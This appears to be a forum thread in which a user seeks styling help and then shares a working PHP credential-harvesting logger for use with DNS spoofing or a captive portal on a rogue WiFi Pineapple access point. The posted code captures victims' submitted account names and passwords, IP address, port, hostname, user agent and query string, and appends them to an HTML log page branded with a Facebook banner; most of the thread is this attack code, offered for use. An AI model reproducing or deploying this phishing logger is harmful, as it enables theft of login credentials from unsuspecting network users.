Jump to content

DNS Spoof Logging Script


winkillerx
 Share

Recommended Posts

I am using this script for DNS Spoofer. The code below works just fine, I just want some help adding some html to the script (to the output log.html file), to spruce it up a bit. I am been trying, but no luck lol. Any help would be awesome!

I just want to add line breaks, each time the script logs new content. (Double Spaced)

Also change the color of the new logged $content ($today, $ref, &ip and $pas)


<?php
$ref = $_SERVER['HTTP_REFERER'];
$today = date("F j, Y, g:i a");
$ip = $_SERVER['REMOTE_ADDR'];
if (isset($_POST['name']) && !empty($_POST['name'])) {
$nam = stripslashes($_POST['name']);
$pas = stripslashes($_POST['pass']);
$nam = htmlspecialchars($nam, ENT_QUOTES);
$pas = htmlspecialchars($pas, ENT_QUOTES);

and my logs.html file

<!DOCTYPE html>
<html>
<STYLE type=text/css>

body {color:white;}

</STYLE>

<body style="background-color:black;">

</body>

</html>
Edited by winkillerx
Link to comment
Share on other sites

Here is my personal data logger :)

You can use this with "DNS Spoofer" or "NoDogSplash" on the Pineapple WiFi.

The PHP/HTML code is below the image, ENJOY! :)

Untitled.png

Code for .php file:


<?php
$ref = $_SERVER['HTTP_REFERER'];
$today = date("F j, Y, g:i a");
$ip = $_SERVER['REMOTE_ADDR'];
$hostName = gethostbyaddr($_SERVER['REMOTE_ADDR']);
$cookie = $_SERVER['QUERY_STRING'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$rem_port = $_SERVER['REMOTE_PORT'];
if (isset($_POST['name']) && !empty($_POST['name'])) {
$nam = stripslashes($_POST['name']);
$pas = stripslashes($_POST['pass']);
$nam = htmlspecialchars($nam, ENT_QUOTES);
$pas = htmlspecialchars($pas, ENT_QUOTES);
$content = "<center><table width='800' border='0' class='main-table' cellspacing='0' cellpadding='0' align='center' style='margin:33pt;'></center>
<tr>
<th>Information</th>
<th>Account Data</th>
</tr>
<tr>
<td>Date:</td>
<td>" . $today . "</td>
</tr>
<tr>
<td>Link:</td>
<td>" . $ref . "</td>
</tr>
<tr>
<td>IP:</td>
<td><a href='http://www.geoiptool.com/en/?IP=" . $ip . "' target='_blank'>" . $ip . "</td>
</tr>
<tr>
<td>Port:</td>
<td>" . $rem_port . "</td>
</tr>
<tr>
<td>Hostname:</td>
<td><a href='http://www.geoiptool.com/en/?IP=" . $hostName . "' target='_blank'>" . $hostName . "</td>
</tr>
<tr>
<td>Account: </td>
<td>" . $nam . "</td>
</tr>
<tr>
<td>Password:</td>
<td>" . $pas . "</td>
</tr>
<tr>
<td>User Agent:</td>
<td>" . $user_agent . "</td>
</tr>
<tr>
<td>Cookie:</td>
<td>" . $cookie . "</td>
</tr>
</table>";
$filed = @fopen("logs666.html", "a+");
@fwrite($filed, "$content\n\n");
@fclose($filed);
}
exit;
?>

Code for .html file:

<!DOCTYPE html>
<title>Data L0gg3r - Logs</title>
<html>
<center><img src="/facebook/banner.bmp" alt="Data Logger" width="800" height="200"></center>
<style type="text/css">
.main-table { background-color:#000000;border-collapse:collapse; }
.main-table th { background-color:#008000;color:white; }
.main-table td, .main-table th { padding:4px;border:1px solid #008000; }
a:link {color:#00FF00;}      /* unvisited link */
a:visited {color:#00FF00;}  /* visited link */
a:hover {color:#7FE817;}  /* mouse over link */
a:active {color:#00FF00;}  /* selected link */
body {color:white;}
</STYLE>

<body style="background-color:black;">

</body>
</html>
Edited by winkillerx
Link to comment
Share on other sites

  • 2 weeks later...

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...